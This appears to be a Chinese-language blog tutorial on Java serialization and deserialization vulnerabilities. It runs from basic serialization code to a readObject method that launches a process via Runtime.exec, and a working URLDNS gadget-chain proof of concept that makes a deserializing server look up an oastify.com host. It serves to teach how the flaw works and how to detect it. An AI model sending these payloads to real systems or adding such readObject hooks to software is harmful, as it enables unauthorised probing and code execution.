Java安全-反序列化基础
序列化与反序列化
1. 什么是序列化与反序列化
序列化:对象 -> 字符串
反序列化:字符串 -> 对象
2. 为什么我们需要序列化与反序列化
序列化与反序列化的设计就是用来传输数据的。
当两个进程进行通信的时候,可以通过序列化反序列化来进行传输。
序列化的好处
(1) 能够实现数据的持久化,通过序列化可以把数据永久的保存在硬盘上,也可以理解为通过序列化将数据保存在文件中。
(2) 利用序列化实现远程通信,在网络上传送对象的字节序列。
序列化与反序列化应用的场景
(1) 想把内存中的对象保存到一个文件中或者是数据库当中。
(2) 用套接字在网络上传输对象。
(3) 通过 RMI 传输对象的时候。
几种常见的序列化和反序列化协议
XML&SOAP
XML 是一种常用的序列化和反序列化协议,具有跨机器,跨语言等优点,SOAP(Simple Object Access protocol) 是一种被广泛应用的,基于 XML 为序列化和反序列化协议的结构化消息传递协议
JSON(Javascript Object Notation)
Protobuf
代码实现
Person.java
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26
| package src; import java.io.Serializable; public class Person implements Serializable { private String name; private int age; public Person(){ } public Person(String name, int age){ this.name = name; this.age = age; } @Override public String toString(){ return "Person{" + "name='" + name + '\'' + ", age=" + age + '}'; } }
|
SerializationTest.java
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20
| package src; import java.io.FileOutputStream; import java.io.IOException; import java.io.ObjectOutput; import java.io.ObjectOutputStream; public class SerializationTest { public static void serialize(Object obj) throws IOException{ ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin")); oos.writeObject(obj); } public static void main(String[] args) throws Exception{ Person person = new Person("aa",22); System.out.println(person); serialize(person); } }
|
UnserializeTest.java
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18
| package src; import java.io.FileInputStream; import java.io.IOException; import java.io.ObjectInputStream; public class UnserializeTest { public static Object unserialize(String Filename) throws IOException, ClassNotFoundException{ ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename)); Object obj = ois.readObject(); return obj; } public static void main(String[] args) throws Exception{ Person person = (Person)unserialize("ser.bin"); System.out.println(person); } }
|
序列化与反序列化的代码讲解
这里我们将代码进行了封装,将序列化功能封装进了 serialize 这个方法里面,在序列化当中,我们通过这个 FileOutputStream 输出流对象,将序列化的对象输出到 ser.bin 当中。再调用 oos 的 writeObject 方法,将对象进行序列化操作。
1 2
| ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin")); oos.writeObject(obj);
|
实际上,序列化数据是二进制,直接 System.out.println() 会是一堆不可读字符。
如果想要看得懂,需要转成 Base64 或 Hex 再打印。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29
| package src;
import java.io.*; import java.util.Base64;
public class SerializationTest { public static void serialize(Object obj) throws IOException { ByteArrayOutputStream bos = new ByteArrayOutputStream(); try (ObjectOutputStream oos = new ObjectOutputStream(bos)) { oos.writeObject(obj); } String base64Data = Base64.getEncoder().encodeToString(bos.toByteArray()); System.out.println("序列化后的 Base64 数据:"); System.out.println(base64Data);
try (FileOutputStream fos = new FileOutputStream("ser.bin")) { fos.write(bos.toByteArray()); } }
public static void main(String[] args) throws Exception { Person person = new Person("aa", 22); System.out.println("原始对象:" + person); serialize(person); } }
|
进行反序列化
1 2
| ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename)); Object obj = ois.readObject();
|
Serializable 接口
只有实现了Serializable或者Externalizable接口的类的对象才能被序列化为字节序列。(不是则会抛出异常)
Serializable 接口是 Java 提供的序列化接口,它是一个空接口
1 2
| public interface Serializable { }
|
Serializable 用来标识当前类可以被 ObjectOutputStream 序列化,以及被 ObjectInputStream 反序列化。
通过 ObjectOutputStream 将需要序列化数据写入到流中,因为 Java IO 是一种装饰者模式,因此可以通过 ObjectOutStream 包装 FileOutStream 将数据写入到文件中或者包装 ByteArrayOutStream 将数据写入到内存中。同理,可以通过 ObjectInputStream 将数据从磁盘 FileInputStream 或者内存 ByteArrayInputStream 读取出来然后转化为指定的对象即可。

1. 序列化类的属性没有实现 Serializable 那么在序列化就会报错
在Person类中删去此接口

运行序列化代码时发现报错

2. 在反序列化过程中,它的父类如果没有实现序列化接口,那么将需要提供无参构造函数来重新创建对象。
eg.
Animal 是父类,它没有实现 Serilizable 接口
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20
| public class Animal { private String color; public Animal() { System.out.println("调用 Animal 无参构造"); } public Animal(String color) { this.color = color; System.out.println("调用 Animal 有 color 参数的构造"); } @Override public String toString() { return "Animal{" + "color='" + color + '\'' + '}'; } }
|
BlackCat 是 Animal 的子类
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22
| public class BlackCat extends Animal implements Serializable { private static final long serialVersionUID = 1L; private String name; public BlackCat() { super(); System.out.println("调用黑猫的无参构造"); } public BlackCat(String color, String name) { super(color); this.name = name; System.out.println("调用黑猫有 color 参数的构造"); } @Override public String toString() { return "BlackCat{" + "name='" + name + '\'' +super.toString() +'\'' + '}'; } }
|
SuperMain 测试类
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26
| public class SuperMain { private static final String FILE_PATH = "./super.bin"; public static void main(String[] args) throws Exception { serializeAnimal(); deserializeAnimal(); } private static void serializeAnimal() throws Exception { BlackCat black = new BlackCat("black", "我是黑猫"); System.out.println("序列化前:"+black.toString()); System.out.println("=================开始序列化================"); ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream(FILE_PATH)); oos.writeObject(black); oos.flush(); oos.close(); } private static void deserializeAnimal() throws Exception { System.out.println("=================开始反序列化================"); ObjectInputStream ois = new ObjectInputStream(new FileInputStream(FILE_PATH)); BlackCat black = (BlackCat) ois.readObject(); ois.close(); System.out.println(black); } }
|
输出结果
1 2 3 4 5 6 7
| 调用 Animal 有 color 参数的构造 调用黑猫有 color 参数的构造 序列化前:BlackCat{name='我是黑猫'Animal{color='black'}'} =================开始序列化================ =================开始反序列化================ 调用 Animal 无参构造 BlackCat{name='我是黑猫'Animal{color='null'}'}
|
如果要序列化的对象的父类 Animal 没有实现序列化接口,那么在反序列化时是会调用对应的无参构造方法的,这样做的目的是重新初始化父类的属性,例如 Animal 因为没有实现序列化接口,因此对应的 color 属性就不会被序列化,因此反序列得到的 color 值就为 null。
3. 一个实现 Serializable 接口的子类也是可以被序列化的。
4.静态成员变量是不能被序列化
序列化是针对对象属性的,而静态成员变量是属于类的。
5.transient 标识的对象成员变量不参与序列化
transient 是 Java 里的 关键字,用来告诉 JVM:
这个字段在序列化时不要保存它的值。
当你用 ObjectOutputStream 去序列化一个对象时,正常情况下所有的非 static 成员变量都会被写进序列化数据里。
但是被 transient 修饰的字段会被跳过,反序列化时会用默认值(数字是 0,布尔是 false,对象是 null)。
为什么会产生序列化的安全问题
- 序列化与反序列化当中有两个 “特别特别特别特别特别” 重要的方法 ————
writeObject 和 readObject。
这两个方法可以经过开发者重写,一般序列化的重写都是由于下面这种场景诞生的。
举个例子,MyList 这个类定义了一个 arr 数组属性,初始化的数组长度为 100。在实际序列化时如果让 arr 属性参与序列化的话,那么长度为 100 的数组都会被序列化下来,但是我在数组中可能只存放 30 个数组而已,这明显是不可理的,所以这里就要自定义序列化过程啦,具体的做法是重写以下两个 private 方法:
1 2
| private void writeObject(java.io.ObjectOutputStream s)throws java.io.IOException private void readObject(java.io.ObjectInputStream s)throws java.io.IOException, ClassNotFoundException
|
只要服务端反序列化数据,客户端传递类的 readObject 中代码会自动执行,基于攻击者在服务器上运行代码的能力。
所以从根本上来说,Java 反序列化的漏洞的与 readObject 有关。
可能存在安全漏洞的形式
(1) 入口类的 readObject 直接调用危险方法
eg.
1 2 3 4
| private void readObject(ObjectInputStream ois) throws IOException, ClassNotFoundException{ ois.defaultReadObject(); Runtime.getRuntime().exec("calc"); }
|
UnserializeTest.java
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18
| package src;
import java.io.FileInputStream; import java.io.IOException; import java.io.ObjectInputStream;
public class UnserializeTest { public static Object unserialize(String Filename) throws IOException, ClassNotFoundException{ ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename)); Object obj = ois.readObject(); return obj; }
public static void main(String[] args) throws Exception{ Person person = (Person)unserialize("ser.bin"); System.out.println(person); } }
|
先运行序列化程序 —— “SerializationTest.java“,再运行反序列化程序 —— “UnserializeTest.java“
在反序列化时就会触发类文件中自定义的readObject方法,弹出计算器
但是这种情况几乎不会出现
(2) 入口参数中包含可控类,该类有危险方法,readObject 时调用
(3) 入口类参数中包含可控类,该类又调用其他有危险方法的类,readObject 时调用
(4) 构造函数/静态代码块等类加载时隐式执行
产生漏洞的攻击路线
首先的攻击前提:继承 Serializable
入口类:source (重写 readObject 调用常见的函数;参数类型宽泛,比如可以传入一个类作为参数;最好 jdk 自带)
找到入口类之后要找调用链 gadget chain 相同名称、相同类型
执行类 sink (RCE SSRF 写文件等等)比如 exec 这种函数
以 HashMap 为例说明一下,仅仅只是说明如何找到入门类
首先,攻击前提,那必然是要继承了 Serializable 这个接口
可以看到HashMap 确实继承了 Serializable 这个接口。

寻找入口类
使用”结构”功能可以快速查看类中方法,找到重写的readObject类

我们看到第 1416 行与 1418 行中,Key 与 Value 的值执行了 readObject 的操作

调用的这个readObject()是ObjectInputStream类的方法,从这里可以看出,我们在属性类中重写的readObject只是对属性反序列化处理的大概步骤,或者说是框架,详细的反序列化还是要交给ObjectInputStream的readObject去完成的
继续跟进
可以看到利用s.readObject读取到key后,调用 hash(key) 计算哈希值

- 若传入的参数 key 不为空,则
h = key.hashCode(),于是乎,继续跟进 hashCode 当中。
hashCode 位置处于 Object 类当中,满足我们调用常见的函数这一条件。

实战 – URLDNS
URLDNS 是ysoserial中利用链的一个名字,通常用于检测是否存在Java反序列化漏洞。该利用链具有如下特点:
- 不限制jdk版本,使用Java内置类,对第三方依赖没有要求
- 目标无回显,可以通过DNS请求来验证是否存在反序列化漏洞
- URLDNS利用链,只能发起DNS请求,并不能进行其他利用
ysoserial中列出的Gadget:
1 2 3 4 5
| Gadget Chain: HashMap.readObject() HashMap.putVal() HashMap.hash() URL.hashCode()
|
初步复现
URL 是由 HashMap 的 put 方法产生的,所以我们先跟进 put 方法当中。put 方法之后又是调用了 hash 方法;hash 方法则是调用了 hashcode 这一函数。

可以看到key.hashCode,key是hash方法传入的参数,我们可以控制key的值

此时调用的hashCode方法是Object类中的方法
攻击路线中 找到入口类之后要找调用链 gadget chain 相同名称、相同类型
利用URL类中相同的方法名,使其调用到URL类中的hashCode方法
来到URL类中的hashCode方法

L 中的 hashCode 被 handler 这一对象所调用,handler 又是 URLStreamHandler 的抽象类。我们再去找 URLStreamHandler 的 hashCode 方法。

此方法中又调用了getByName(host)方法,它的作⽤是根据主机名,获取其 IP 地址,在⽹络上其实就是⼀次 DNS 查询。到这⾥就不必要再跟了。

u就是刚开始传入的参数key,所以传递参数为
1 2 3
| hashmap.put(new URL("DNS生成的 URL,用dnslog就可以"),1);
|
URLDNS 的Gadget
- HashMap->readObject()
- HashMap->hash()
- URL->hashCode()
- URLStreamHandler->hashCode()
- URLStreamHandler->getHostAddress()
- InetAddress->getByName()
问题解决
问题
在这里有一个需要注意的点
SerializationTest.java
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24
| package src;
import src.Person;
import java.io.FileOutputStream; import java.io.IOException; import java.io.ObjectOutput; import java.io.ObjectOutputStream; import java.net.URL; import java.util.HashMap;
public class SerializationTest { public static void serialize(Object obj) throws IOException { ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin")); oos.writeObject(obj); }
public static void main(String[] args) throws Exception { Person person = new Person("aa", 22); HashMap<URL,Integer> hashmap = new HashMap<URL,Integer>(); hashmap.put(new URL("http://p1rqenbukfug86be3r4n202x9off36rv.oastify.com"), 1); serialize(hashmap); } }
|
在运行序列化文件时就会收到DNS请求

原因是在运行SerializationTest代码时URLDNS链子除了开始时的readObject,其余会正常执行
这里要看到URL类中的hashCode方法,当 hashCode 的值不等于 -1 的时候,函数就会直接 return hashCode 而不执行 hashCode = handler.hashCode(this);。

而在URL类中hashCode设置的值就是-1

所以序列化时也会收到DNS请求
解决
为了测试是否有反序列化漏洞,让我们的视角不受干扰
可以利用反射修改hashCode的初始值
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
| URL url = new URL("http://bl00nzimnnujskz418kboqxt9kfb30.oastify.com");
Class c = url.getClass();
Field hashcodefile = c.getDeclaredField("hashCode");
hashcodefile.setAccessible(true);
hashcodefile.set(url, 1234);
hashmap.put(url, 1);
hashcodefile.set(url, -1);
serialize(hashmap);
|
URLDNS 反序列化利用链的 POC
根据我们的思路,将 Main 函数进行修改
SerializationTest.java
1 2 3 4 5 6 7 8 9 10 11 12 13 14
| public static void main(String[] args) throws Exception{ Person person = new Person("aa",22); HashMap<URL,Integer> hashmap= new HashMap<URL,Integer>(); URL url = new URL("http://bl00nzimnnujskz418kboqxt9kfb30.oastify.com"); Class c = url.getClass(); Field hashcodefile = c.getDeclaredField("hashCode"); hashcodefile.setAccessible(true); hashcodefile.set(url,1234); hashmap.put(url,1); hashcodefile.set(url,-1); serialize(hashmap); }
|
这样运行反序列化后就只能收到反序列化时发出的请求
参考
Java反序列化基础篇-01-反序列化概念与利用 | Drunkbaby’s Blog
java序列化与反序列化全讲解_序列化和反序列号需要构造无参函数的意义-CSDN博客